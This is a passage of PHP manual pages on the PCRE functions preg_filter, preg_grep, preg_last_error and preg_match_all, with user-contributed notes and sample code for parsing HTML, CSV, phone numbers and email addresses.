If you want to perform regular expressions on Unicode strings, the PCRE functions will NOT be of any help. You need to use the Multibyte extension : mb_ereg(), mb_eregi(), pb_ereg_replace() and so on. When doing so, be carefull to set the default text encoding to the same encoding used by the text you are searching and replacing in. You can do that with the mb_regex_encoding() function. You will probably also want to set the default encoding for the other mb_* string functions with mb_internal_encoding().

So when dealing with, say, french text, I start with these :
<?php
mb_internal_encoding('UTF-8');
mb_regex_encoding('UTF-8');
setlocale(LC_ALL, 'fr-fr');
?>
steve at stevedix dot de 20-Jul-2004 05:17
Something to bear in mind is that regex is actually a declarative programming language like prolog : your regex is a set of rules which the regex interpreter tries to match against a string.   During this matching, the interpreter will assume certain things, and continue assuming them until it comes up against a failure to match, which then causes it to backtrack.  Regex assumes "greedy matching" unless explicitly told not to, which can cause a lot of backtracking.  A general rule of thumb is that the more backtracking, the slower the matching process.

It is therefore vital, if you are trying to optimise your program to run quickly (and if you can't do without regex), to optimise your regexes to match quickly.

I recommend the use of a tool such as "The Regex Coach" to debug your regex strings.

http://weitz.de/files/regex-coach.exe (Windows installer) http://weitz.de/files/regex-coach.tgz (Linux tar archive)
Biju 20-Sep-2003 09:00
Regular Expressions Tutorial from non PHP sites
   http://www.amk.ca/python/howto/regex/
   http://sitescooper.org/tao_regexps.html
   http://www.english.uga.edu/humcomp/perl/regex2a.html
   http://www.english.uga.edu/humcomp/perl/regexps.html
   http://www.english.uga.edu/humcomp/perl/regular_expressions.HTML
   http://www.english.uga.edu/humcomp/perl/
   http://java.sun.com/docs/books/tutorial/extra/regex/
   http://gnosis.cx/publish/programming/regular_expressions.html
   http://www.zvon.org/other/PerlTutorial/Books/Book1/
   http://it.metr.ou.edu/regex/
   http://www.regular-expressions.info/
Differences from POSIX regex
preg_filter
PCRE


Perform a regular expression search and replace

PCRE Functions
preg_grep
PCRE Functions
PHP Manual

preg_filter

(PHP 5 >= 5.3.0)

preg_filter — Perform a regular expression search and replace

Description

mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_filter() is identical to preg_replace() except it only returns the (possibly transformed) subjects where there was a match. For details about how this function works, read the preg_replace() documentation.

Return Values

Returns an array if the subject parameter is an array, or a string otherwise.

If no matches are found or an error occurred, an empty array is returned when subject is an array or NULL otherwise.

Examples

Example #1 Example comparing preg_filter() with preg_replace()

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$pattern = array('/\d/', '/[a-z]/', '/[1a]/');
$replace = array('A:$0', 'B:$0', 'C:$0');

echo "preg_filter returns\n";
print_r(preg_filter($pattern, $replace, $subject));

echo "preg_replace returns\n";
print_r(preg_replace($pattern, $replace, $subject));
?>

The above example will output:

preg_filter returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [7] => A:4
)
preg_replace returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [5] => A
    [6] => B
    [7] => A:4
)

See Also

  • PCRE Patterns
  • preg_replace() - Perform a regular expression search and replace
  • preg_replace_callback() - Perform a regular expression search and replace using a callback
  • preg_grep() - Return array entries that match the pattern
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

sajina_99 at hotmail dot de 25-Sep-2011 07:07
As I had to work with PHP5.2.X and needed preg_filter I wrote a quick and dirty workaround.

<?php
  if (!function_exists('preg_filter')) {

    function preg_filter($pattern, $replace, $subject, $limit = -1 , &$count = null) {

      if(!is_array($subject)) {
        $noArray = 1 ;
        $subject = array($subject);
      }

      $preg = preg_replace($pattern, $replace, $subject, $limit,  &$count);

      $diff = array_diff($preg, $subject);

      if($noArray == 1) $diff = implode($diff) ;

      return $diff ;

    }

  }
?>
MrBertie 31-Dec-2010 02:35
Another way to filter an array, and simply return the matching items: preg_grep!
Eric Naeseth 17-Dec-2010 06:38
If you want to just filter an array based on a regular expression, without replacing any of the array values, try RegexIterator: http://us3.php.net/manual/en/class.regexiterator.php
PCRE Functions
preg_grep
PCRE Functions


Return array entries that match the pattern

preg_filter
preg_last_error
PCRE Functions
PHP Manual

preg_grep

(PHP 4, PHP 5)

preg_grep — Return array entries that match the pattern

Description

array preg_grep ( string $pattern , array $input [, int $flags = 0 ] )

Returns the array consisting of the elements of the input array that match the given pattern.

Parameters

pattern

The pattern to search for, as a string.

input

The input array.

flags

If set to PREG_GREP_INVERT, this function returns the elements of the input array that do not match the given pattern.

Return Values

Returns an array indexed using the keys from the input array.

Changelog

Version | Description
4.2.0 | The flags parameter was added.
4.0.4

Prior to this version, the returned array was indexed regardless of the keys of the input array.

If you want to reproduce this old behavior, use array_values() on the returned array to reindex the values.

Examples

Example #1 preg_grep() example

<?php
// return all array elements
// containing floating point numbers
$fl_array = preg_grep("/^(\d+)?\.\d+$/", $array);
?>

See Also

  • PCRE Patterns
  • preg_match_all() - Perform a global regular expression match
  • preg_filter() - Perform a regular expression search and replace
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

keithbluhm at gmail dot com 21-Jan-2010 03:56
Run a match on the array's keys rather than the values:

<?php

function preg_grep_keys( $pattern, $input, $flags = 0 )
{
    $keys = preg_grep( $pattern, array_keys( $input ), $flags );
    $vals = array();
    foreach ( $keys as $key )
    {
        $vals[$key] = $input[$key];
    }
    return $vals;
}

?>
pete dakin at aargh dot doh! 20-Nov-2008 07:24
<?php
/**
 * Return the element key for a found pattern in an array
 *
 * @param String pattern
 * @param Array input
 * @return mixed
 */
function preg_array_key( $sPattern, $aInput ){
    return key( preg_grep( $sPattern, $aInput ) );
}
?>
brian at cristina dot org 02-Sep-2008 01:31
I don't see it mentioned here but you can invert your match to only return array entries where the search values IS NOT found.  The format for it is...

<?php

$nomatch = preg_grep("/{$keyword}/i",$array,PREG_GREP_INVERT);

?>

Notice the PREG_GREP_INVERT.

That will result in an array ($nomatch) that contains all entries of $array where $keyword IS NOT found.

Hope that helps!

-b
preg_filter
preg_last_error
PCRE Functions


Returns the error code of the last PCRE regex execution

preg_grep
preg_match_all
PCRE Functions
PHP Manual

preg_last_error

(PHP 5 >= 5.2.0)

preg_last_error — Returns the error code of the last PCRE regex execution

Description

int preg_last_error ( void )

Returns the error code of the last PCRE regex execution.

Example #1 preg_last_error() example

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    print 'Backtrack limit was exhausted!';
}

?>

The above example will output:

Backtrack limit was exhausted!

Return Values

Returns one of the following constants (explained on their own page):

  • PREG_NO_ERROR
  • PREG_INTERNAL_ERROR
  • PREG_BACKTRACK_LIMIT_ERROR (see also pcre.backtrack_limit)
  • PREG_RECURSION_LIMIT_ERROR (see also pcre.recursion_limit)
  • PREG_BAD_UTF8_ERROR
  • PREG_BAD_UTF8_OFFSET_ERROR (since PHP 5.3.0)

User Contributed Notes

Omer 12-Feb-2011 09:22
here's the code to check for all errors
<?php
if (preg_last_error() == PREG_NO_ERROR) {
    print 'There is no error.';
}
else if (preg_last_error() == PREG_INTERNAL_ERROR) {
    print 'There is an internal error!';
}
else if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    print 'Backtrack limit was exhausted!';
}
else if (preg_last_error() == PREG_RECURSION_LIMIT_ERROR) {
    print 'Recursion limit was exhausted!';
}
else if (preg_last_error() == PREG_BAD_UTF8_ERROR) {
    print 'Bad UTF8 error!';
}
else if (preg_last_error() == PREG_BAD_UTF8_ERROR) {
    print 'Bad UTF8 offset error!';
}
?>
johan at bluemoonit dot net 24-May-2010 05:20
The above function pcre_error_deocde [sic] is not correct - not all of the used constants are errors constants. For example, when the error is actually PREG_BAD_UTF8_ERROR, the function outputs the text for PREG_SPLIT_OFFSET_CAPTURE.
preg_grep
preg_match_all
PCRE Functions


Perform a global regular expression match

preg_last_error
preg_match
PCRE Functions
PHP Manual

preg_match_all

(PHP 4, PHP 5)

preg_match_all — Perform a global regular expression match

Description

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

Searches subject for all matches to the regular expression given in pattern and puts them in matches in the order specified by flags.

After the first match is found, the subsequent searches are continued on from end of the last match.

Parameters

pattern

The pattern to search for, as a string.

subject

The input string.

matches

Array of all matches in multi-dimensional array ordered according to flags.

flags

Can be a combination of the following flags (note that it doesn't make sense to use PREG_PATTERN_ORDER together with PREG_SET_ORDER):

PREG_PATTERN_ORDER

Orders results so that $matches[0] is an array of full pattern matches, $matches[1] is an array of strings matched by the first parenthesized subpattern, and so on.

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=left>this is a test</div>",
    $out, PREG_PATTERN_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

The above example will output:

<b>example: </b>, <div align=left>this is a test</div>
example: , this is a test

So, $out[0] contains array of strings that matched full pattern, and $out[1] contains array of strings enclosed by tags.

PREG_SET_ORDER

Orders results so that $matches[0] is an array of first set of matches, $matches[1] is an array of second set of matches, and so on.

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=\"left\">this is a test</div>",
    $out, PREG_SET_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

The above example will output:

<b>example: </b>, example:
<div align="left">this is a test</div>, this is a test

PREG_OFFSET_CAPTURE

If this flag is passed, for every occurring match the appendant string offset will also be returned. Note that this changes the value of matches into an array where every element is an array consisting of the matched string at offset 0 and its string offset into subject at offset 1.

If no order flag is given, PREG_PATTERN_ORDER is assumed.

offset

Normally, the search starts from the beginning of the subject string. The optional parameter offset can be used to specify the alternate place from which to start the search (in bytes).

Note:

Using offset is not equivalent to passing substr($subject, $offset) to preg_match_all() in place of the subject string, because pattern can contain assertions such as ^, $ or (?<=x). See preg_match() for examples.

Return Values

Returns the number of full pattern matches (which might be zero), or FALSE if an error occurred.

Changelog

Version | Description
5.4.0 | The matches parameter became optional.
5.3.6 | Returns FALSE if offset is higher than subject length.
5.2.2 | Named subpatterns now accept the syntax (?<name>) and (?'name') as well as (?P<name>). Previous versions accepted only (?P<name>).
4.3.3 | The offset parameter was added
4.3.0 | The PREG_OFFSET_CAPTURE flag was added

Examples

Example #1 Getting all phone numbers out of some text.

<?php
preg_match_all("/\(?  (\d{3})?  \)?  (?(1)  [\-\s] ) \d{3}-\d{4}/x",
                "Call 555-1212 or 1-800-555-1212", $phones);
?>

Example #2 Find matching HTML tags (greedy)

<?php
// The \\2 is an example of backreferencing. This tells pcre that
// it must match the second set of parentheses in the regular expression
// itself, which would be the ([\w]+) in this case. The extra backslash is
// required because the string is in double quotes.
$html = "<b>bold text</b><a href=howdy.html>click me</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*?)(<\/\\2>)/", $html, $matches, PREG_SET_ORDER);

foreach ($matches as $val) {
    echo "matched: " . $val[0] . "\n";
    echo "part 1: " . $val[1] . "\n";
    echo "part 2: " . $val[2] . "\n";
    echo "part 3: " . $val[3] . "\n";
    echo "part 4: " . $val[4] . "\n\n";
}
?>

The above example will output:

matched: <b>bold text</b>
part 1: <b>
part 2: b
part 3: bold text
part 4: </b>

matched: <a href=howdy.html>click me</a>
part 1: <a href=howdy.html>
part 2: a
part 3: click me
part 4: </a>

Example #3 Using named subpattern

<?php

$str = <<<FOO
a: 1
b: 2
c: 3
FOO;

preg_match_all('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* This also works in PHP 5.2.2 (PCRE 7.0) and later, however
 * the above form is recommended for backwards compatibility */
// preg_match_all('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => a: 1
            [1] => b: 2
            [2] => c: 3
        )

    [name] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [1] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [digit] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [2] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)

See Also

  • PCRE Patterns
  • preg_match() - Perform a regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

satyavvd at ymail dot com 20-Sep-2011 04:08
Extract fields out of csv string : ( since before php5.3 you can't use str_getcsv function )
Here is the regex :

<?php

$csvData = <<<EOF
10,'20',"30","'40","'50'","\"60","70,80","09\\/18,/\"2011",'a,sdfcd'
EOF

$reg = <<<EOF
/
    (
        (
            ([\'\"])
            (
               (
                [^\'\"]
                |
                (\\\\.)
               )*
            )
            (\\3)
            |
            (
                [^,]
                |
                (\\\\.)
            )*
    ),)
    /x
EOF;

preg_match_all($reg,$csvData,$matches);

// to extract csv fields
print_r($matches[2]);
?>
info at zenworks dot it 20-Apr-2011 01:31
Just few lines of code to convert in a clickable link with tag <a>
the pattern "http://......." in a string:

<?php

$stringa = " bla bla bla http://www.example.com bla bla http://www.example.net bla bla bla";

$m = preg_match_all('/http:\/\/[a-z0-9A-Z.]+(?(?=[\/])(.*))/', $stringa, $match);

if ($m) {
    $links=$match[0];
    for ($j=0;$j<$m;$j++) {
        $stringa=str_replace($links[$j],'<a href="'.$links[$j].'">'.$links[$j].'</a>',$stringa);
    }
}

echo $stringa;

?>
john at mccarthy dot net 18-Feb-2011 11:21
I needed a function to rotate the results of a preg_match_all query, and made this. Not sure if it exists.

<?php
function turn_array($m)
{
    for ($z = 0;$z < count($m);$z++)
    {
        for ($x = 0;$x < count($m[$z]);$x++)
        {
            $rt[$x][$z] = $m[$z][$x];
        }
    }

    return $rt;
}
?>

Example - Take results of some preg_match_all query:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => Canmore
            [3] => Invermere
        )

    [1] => Array
        (
            [1] => AB
            [2] => AB
            [3] => BC
        )

    [2] => Array
        (
            [1] => 51.1746254
            [2] => 51.0938416
            [3] => 50.5065193
        )

    [3] => Array
        (
            [1] => -115.5719757
            [2] => -115.3517761
            [3] => -116.0321884
        )

    [4] => Array
        (
            [1] => T1L 1B3
            [2] => T1W 1N2
            [3] => V0B 2G0
        )

)

Rotate it 90 degrees to group results as records:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => AB
            [3] => 51.1746254
            [4] => -115.5719757
            [5] => T1L 1B3
        )

    [1] => Array
        (
            [1] => Canmore
            [2] => AB
            [3] => 51.0938416
            [4] => -115.3517761
            [5] => T1W 1N2
        )

    [2] => Array
        (
            [1] => Invermere
            [2] => BC
            [3] => 50.5065193
            [4] => -116.0321884
            [5] => V0B 2G0
        )
)
buuh 06-Dec-2010 02:03
if you want to extract all {token}s from a string:

<?php
$pattern = "/{[^}]*}/";
$subject = "{token1} foo {token2} bar";
preg_match_all($pattern, $subject, $matches);
print_r($matches);
?>

output:

Array
(
    [0] => Array
        (
            [0] => {token1}
            [1] => {token2}
        )

)
no at bo dot dy 08-Sep-2010 11:23
For parsing queries with entities use:

<?php
preg_match_all("/(?:^|(?<=\&(?![a-z]+\;)))([^\=]+)=(.*?)(?:$|\&(?![a-z]+\;))/i",
  $s, $m, PREG_SET_ORDER );
?>
avengis at gmail dot com 23-Sep-2009 02:25
The next function works with almost any complex xml/xhtml string

<?php
/**
* Find and close unclosed xml tags
**/
function close_tags($text) {
    $patt_open    = "%((?<!</)(?<=<)[\s]*[^/!>\s]+(?=>|[\s]+[^>]*[^/]>)(?!/>))%";
    $patt_close    = "%((?<=</)([^>]+)(?=>))%";
    if (preg_match_all($patt_open,$text,$matches))
    {
        $m_open = $matches[1];
        if(!empty($m_open))
        {
            preg_match_all($patt_close,$text,$matches2);
            $m_close = $matches2[1];
            if (count($m_open) > count($m_close))
            {
                $m_open = array_reverse($m_open);
                foreach ($m_close as $tag) $c_tags[$tag]++;
                foreach ($m_open as $k => $tag)    if ($c_tags[$tag]--<=0) $text.='</'.$tag.'>';
            }
        }
    }
    return $text;
}
?>
royaltm75 at gmail dot com 13-Sep-2009 02:44
I have received complains, that my html2a() code (see below) doesn't work in some cases.
It is however not the problem with algorithm or procedure, but with PCRE recursive stack limits.

If you use recursive PCRE (?R) you should remember to increase those two ini settings:

ini_set('pcre.backtrack_limit', 10000000);
ini_set('pcre.recursion_limit', 10000000);

But be warned: (from php.ini)

;Please note that if you set this value to a high number you may consume all
;the available process stack and eventually crash PHP (due to reaching the
;stack size limit imposed by the Operating System).

I have written this example mainly to demonstrate the power of PCRE LANGUAGE, not the power of it's implementation  :)

But if you like it, use it, of course on your own risk.
elyknosrac at gmail dot com 18-Jul-2009 03:51
Using preg_match_all I made a pretty handy function.

<?php

function reg_smart_replace($pattern, $replacement, $subject, $replacementChar = "$$$", $limit = -1)
{
    if (! $pattern || ! $subject || ! $replacement ) { return false; }

    $replacementChar = preg_quote($replacementChar);

    preg_match_all ( $pattern, $subject, $matches);

    if ($limit > -1) {
        foreach ($matches as $count => $value )
        {
            if ($count + 1 > $limit ) { unset($matches[$count]); }
        }
    }
    foreach ($matches[0] as $match) {
        $rep = ereg_replace($replacementChar, $match, $replacement);
        $subject = ereg_replace($match, $rep, $subject);
    }

    return $subject;
}
?>

This function can turn blocks of text into clickable links or whatever.  Example:

<?php
reg_smart_replace(EMAIL_REGEX, '<a href="mailto:$$$">$$$</a>', $description)
?>
will turn all email addresses into actual links.

Just substitute $$$ with the text that will be found by the regex.  If you can't use $$$ then use the 4th parameter $replacementChar
ad 01-Apr-2009 05:18
i have made up a simple function to extract a number from a string..

I am not sure how good it is, but it works.

It gets only the numbers 0-9, the "-", " ", "(", ")", "."

characters.. This is as far as I know the most widely used characters for a Phone number.

<?php
function clean_phone_number($phone) {
       if (!empty($phone)) {
               //var_dump($phone);
               preg_match_all('/[0-9\(\)+.\- ]/s', $phone, $cleaned);
               foreach($cleaned[0] as $k=>$v) {
                       $ready .= $v;
               }
               var_dump($ready);
               die;
               if (mb_strlen($cleaned) > 4 && mb_strlen($cleaned) <=25) {
                       return $cleaned;
               }
               else {
                       return false;
               }
       }
       return false;
}
?>
royaltm75 at NOSPAM dot gmail dot com 21-Feb-2009 02:55
The power of pregs is limited only by your *imagination* :)
I wrote this html2a() function using preg recursive match (?R) which provides quite safe and bulletproof html/xml extraction:
<?php
function html2a ( $html ) {
  if ( !preg_match_all( '
@
\<\s*?(\w+)((?:\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?)\>
((?:(?>[^\<]*)|(?R))*)
\<\/\s*?\\1(?:\b[^\>]*)?\>
|\<\s*(\w+)(\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?\/?\>
@uxis', $html = trim($html), $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER) )
    return $html;
  $i = 0;
  $ret = array();
  foreach ($m as $set) {
    if ( strlen( $val = trim( substr($html, $i, $set[0][1] - $i) ) ) )
      $ret[] = $val;
    $val = $set[1][1] < 0
      ? array( 'tag' => strtolower($set[4][0]) )
      : array( 'tag' => strtolower($set[1][0]), 'val' => html2a($set[3][0]) );
    if ( preg_match_all( '
/(\w+)\s*(?:=\s*(?:"([^"]*)"|\'([^\']*)\'|(\w+)))?/usix
', isset($set[5]) && $set[2][1] < 0
  ? $set[5][0]
  : $set[2][0]
  ,$attrs, PREG_SET_ORDER ) ) {
      foreach ($attrs as $a) {
        $val['attr'][$a[1]]=$a[count($a)-1];
      }
    }
    $ret[] = $val;
    $i = $set[0][1]+strlen( $set[0][0] );
  }
  $l = strlen($html);
  if ( $i < $l )
    if ( strlen( $val = trim( substr( $html, $i, $l - $i ) ) ) )
      $ret[] = $val;
  return $ret;
}
?>

Now let's try it with this example: (there are some really nasty xhtml compliant bugs, but ... we shouldn't worry)

<?php
$html = <<<EOT
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
EOT;

$a = html2a($html);
//now we will make some neat html out of it
echo a2html($a);

function a2html ( $a, $in = "" ) {
  if ( is_array($a) ) {
    $s = "";
    foreach ($a as $t)
      if ( is_array($t) ) {
        $attrs="";
        if ( isset($t['attr']) )
          foreach( $t['attr'] as $k => $v )
            $attrs.=" ${k}=".( strpos( $v, '"' )!==false ? "'$v'" : "\"$v\"" );
        $s.= $in."<".$t['tag'].$attrs.( isset( $t['val'] ) ? ">\n".a2html( $t['val'], $in."  " ).$in."</".$t['tag'] : "/" ).">\n";
      } else
        $s.= $in.$t."\n";
  } else {
    $s = empty($a) ? "" : $in.$a."\n";
  }
  return $s;
}
?>
This produces:
some leftover text...
<div class="noCompliant" style="text-align:left;">
  ... and some other ...
  <div>
    <empty>
    </empty>
    <p>
      This is yet another text
      <br/>
      that wasn't
      <b>
        compliant
      </b>
      too...
      <br/>
    </p>
    <div class="noClass">
      this one is better but we don't care anyway
    </div>
    <p>
      <input type="text" name='my "name' value="nothin really." readonly="readonly"/>
      end of paragraph
    </p>
  </div>
</div>
some trailing text
meaneye at mail dot com 15-Oct-2008 02:56
Recently I had to write search engine in hebrew and ran into huge amount of problems. My data was stored in MySQL table with utf8_bin encoding.

So, to be able to write hebrew in utf8 table you need to do
<?php
$prepared_text = addslashes(urf8_encode($text));
?>

But then I had to find if some word exists in stored text. This is the place I got stuck. Simple preg_match would not find text since hebrew doesnt work that easy. I've tried with /u and who kows what else.

Solution was somewhat logical and simple...
<?php
$db_text = bin2hex(stripslashes(utf8_decode($db_text)));
$word = bin2hex($word);

$found = preg_match_all("/($word)+/i", $db_text, $matches);
?>

I've used preg_match_all since it returns number of occurences. So I could sort search results acording to that.

Hope someone finds this useful!
MonkeyMan 07-Oct-2008 01:25
Here is a way to match everything on the page, performing an action for each match as you go. I had used this idiom in other languages, where its use is customary, but in PHP it seems to be not quite as common.

<?php
function custom_preg_match_all($pattern, $subject)
{
    $offset = 0;
    $match_count = 0;
    while(preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, $offset))
    {
        // Increment counter
        $match_count++;

        // Get byte offset and byte length (assuming single byte encoded)
        $match_start = $matches[0][1];
        $match_length = strlen(matches[0][0]);

        // (Optional) Transform $matches to the format it is usually set as (without PREG_OFFSET_CAPTURE set)
        foreach($matches as $k => $match) $newmatches[$k] = $match[0];
        $matches = $new_matches;

        // Your code here
        echo "Match number $match_count, at byte offset $match_start, $match_length bytes long: ".$matches[0]."\r\n";

        // Update offset to the end of the match
        $offset = $match_start + $match_length;
    }

    return $match_count;
}
?>

Note that the offsets returned are byte values (not necessarily number of characters) so you'll have to make sure the data is single-byte encoded. (Or have a look at paolo mosna's strByte function on the strlen manual page).
I'd be interested to know how this method performs speedwise against using preg_match_all and then recursing through the results.
sledge NOSPAM 19-Jun-2008 01:46
Perhaps you want to find the positions of all anchor tags.  This will return a two dimensional array of which the starting and ending positions will be returned.

<?php
function getTagPositions($strBody)
{
    define(DEBUG, false);
    define(DEBUG_FILE_PREFIX, "/tmp/findlinks_");

    preg_match_all("/<[^>]+>(.*)<\/[^>]+>/U", $strBody, $strTag, PREG_PATTERN_ORDER);
    $intOffset = 0;
    $intIndex = 0;
    $intTagPositions = array();

    foreach($strTag[0] as $strFullTag) {
        if(DEBUG == true) {
            $fhDebug = fopen(DEBUG_FILE_PREFIX.time(), "a");
            fwrite($fhDebug, $fulltag."\n");
            fwrite($fhDebug, "Starting position: ".strpos($strBody, $strFullTag, $intOffset)."\n");
            fwrite($fhDebug, "Ending position: ".(strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag))."\n");
            fwrite($fhDebug, "Length: ".strlen($strFullTag)."\n\n");
            fclose($fhDebug);
        }
        $intTagPositions[$intIndex] = array('start' => (strpos($strBody, $strFullTag, $intOffset)), 'end' => (strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag)));
        $intOffset += strlen($strFullTag);
        $intIndex++;
    }
    return $intTagPositions;
}

$strBody = 'I have lots of <a href="http://my.site.com">links</a> on this <a href="http://my.site.com">page</a> that I want to <a href="http://my.site.com">find</a> the positions.';

$strBody = strip_tags(html_entity_decode($strBody), '<a>');
$intTagPositions = getTagPositions($strBody);
print_r($intTagPositions);

/*****
Output:

Array (
    [0] => Array (
        [start] => 15
        [end] => 53 )
    [1] => Array (
        [start] => 62
        [end] => 99 )
    [2] => Array (
        [start] => 115
        [end] => 152 )
 )
*****/
?>
spambegone at cratemedia dot com 20-Apr-2008 11:39
I found simpleXML to be useful only in cases where the XML was extremely small, otherwise the server would run out of memory (I suspect there is a memory leak or something?). So while searching for alternative parsers, I decided to try a simpler approach. I don't know how this compares with cpu usage, but I know it works with large XML structures. This is more a manual method, but it works for me since I always know what structure of data I will be receiving.

Essentially I just preg_match() unique nodes to find the values I am looking for, or I preg_match_all to find multiple nodes. This puts the results in an array and I can then process this data as I please.

I was unhappy though, that preg_match_all() stores the data twice (requiring twice the memory), one array for all the full pattern matches, and one array for all the sub pattern matches. You could probably write your own function that overcame this. But for now this works for me, and I hope it saves someone else some time as well.

// SAMPLE XML
<RETS ReplyCode="0" ReplyText="Operation Successful">
  <COUNT Records="14" />
  <DELIMITER value="09" />
  <COLUMNS>PropertyID</COLUMNS>
  <DATA>521897</DATA>
  <DATA>677208</DATA>
  <DATA>686037</DATA>
</RETS>

<?PHP

// SAMPLE FUNCTION
function parse_xml($xml) {

    // GET DELIMITER (single instance)
    $match_res = preg_match('/<DELIMITER value ?= ?"(.*)" ?\/>/', $xml, $matches);
    if(!empty($matches[1])) {
        $results["delimiter"] = chr($matches[1]);
    } else {
        // DEFAULT DELIMITER
        $results["delimiter"] = "\t";
    }
    unset($match_res, $matches);

    // GET MULTIPLE DATA NODES (multiple instances)
    $results["data_count"] = preg_match_all("/<DATA>(.*)<\/DATA>/", $xml, $matches);
    // GET MATCHES OF SUB PATTERN, DISCARD THE REST
    $results["data"]=$matches[1];
    unset($match_res, $matches);

    // UNSET XML TO SAVE MEMORY (should unset outside the function as well)
    unset($xml);

    // RETURN RESULTS ARRAY
    return $results;

}

?>
bruha 04-Mar-2008 12:13
To count str_length in UTF-8 string i use

$count = preg_match_all("/[[:print:]\pL]/u", $str, $pockets);

where
[:print:] - printing characters, including space
\pL - UTF-8 Letter
/u - UTF-8 string
other unicode character properties on http://www.pcre.org/pcre.txt
dolbegraeb 28-Jan-2008 04:30
please note, that the function of "mail at SPAMBUSTER at milianw dot de" can result in invalid xhtml in some cases. think i used it in the right way but my result is sth like this:

<img src="./img.jpg" alt="nice picture" />foo foo foo foo </img>

correct me if i'm wrong.
i'll see when there's time to fix that. -.-
mr davin 12-Jul-2007 02:57
<?php
// Returns an array of strings where the start and end are found
    function findinside($start, $end, $string) {
        preg_match_all('/' . preg_quote($start, '/') . '([^\.)]+)'. preg_quote($end, '/').'/i', $string, $m);
        return $m[1];
    }

    $start = "mary has";
    $end = "lambs.";
    $string = "mary has 6 lambs. phil has 13 lambs. mary stole phil's lambs. now mary has all the lambs.";

    $out = findinside($start, $end, $string);

    print_r ($out);

/* Results in
(
    [0] =>  6
    [1] =>  all the
)
*/
?>
phektus at gmail dot com 26-Jun-2007 11:22
If you'd like to include DOUBLE QUOTES on a regular expression for use with preg_match_all, try ESCAPING THRICE, as in: \\\"

For example, the pattern:
'/<table>[\s\w\/<>=\\\"]*<\/table>/'

Should be able to match:
<table>
<row>
<col align="left" valign="top">a</col>
<col align="right" valign="bottom">b</col>
</row>
</table>
.. with all there is under those table tags.

I'm not really sure why this is so, but I tried just the double quote and one or even two escape characters and it won't work. In my frustration I added another one and then it's cool.
chuckie 06-Dec-2006 06:20
This is a function to convert byte offsets into (UTF-8) character offsets (this is reagardless of whether you use /u modifier:

<?php

function mb_preg_match_all($ps_pattern, $ps_subject, &$pa_matches, $pn_flags = PREG_PATTERN_ORDER, $pn_offset = 0, $ps_encoding = NULL) {
  // WARNING! - All this function does is to correct offsets, nothing else:
  //
  if (is_null($ps_encoding))
    $ps_encoding = mb_internal_encoding();

  $pn_offset = strlen(mb_substr($ps_subject, 0, $pn_offset, $ps_encoding));
  $ret = preg_match_all($ps_pattern, $ps_subject, $pa_matches, $pn_flags, $pn_offset);

  if ($ret && ($pn_flags & PREG_OFFSET_CAPTURE))
    foreach($pa_matches as &$ha_match)
      foreach($ha_match as &$ha_match)
        $ha_match[1] = mb_strlen(substr($ps_subject, 0, $ha_match[1]), $ps_encoding);
    //
    // (code is independent of PREG_PATTER_ORDER / PREG_SET_ORDER)

  return $ret;
  }

?>
phpnet at sinful-music dot com 20-Feb-2006 12:53
Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822. Have fun and email me if you have any enhancements!

<?php
function mime_extract_rfc2822_address($string)
{
        //rfc2822 token setup
        $crlf           = "(?:\r\n)";
        $wsp            = "[\t ]";
        $text           = "[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F]";
        $quoted_pair    = "(?:\\\\$text)";
        $fws            = "(?:(?:$wsp*$crlf)?$wsp+)";
        $ctext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F" .
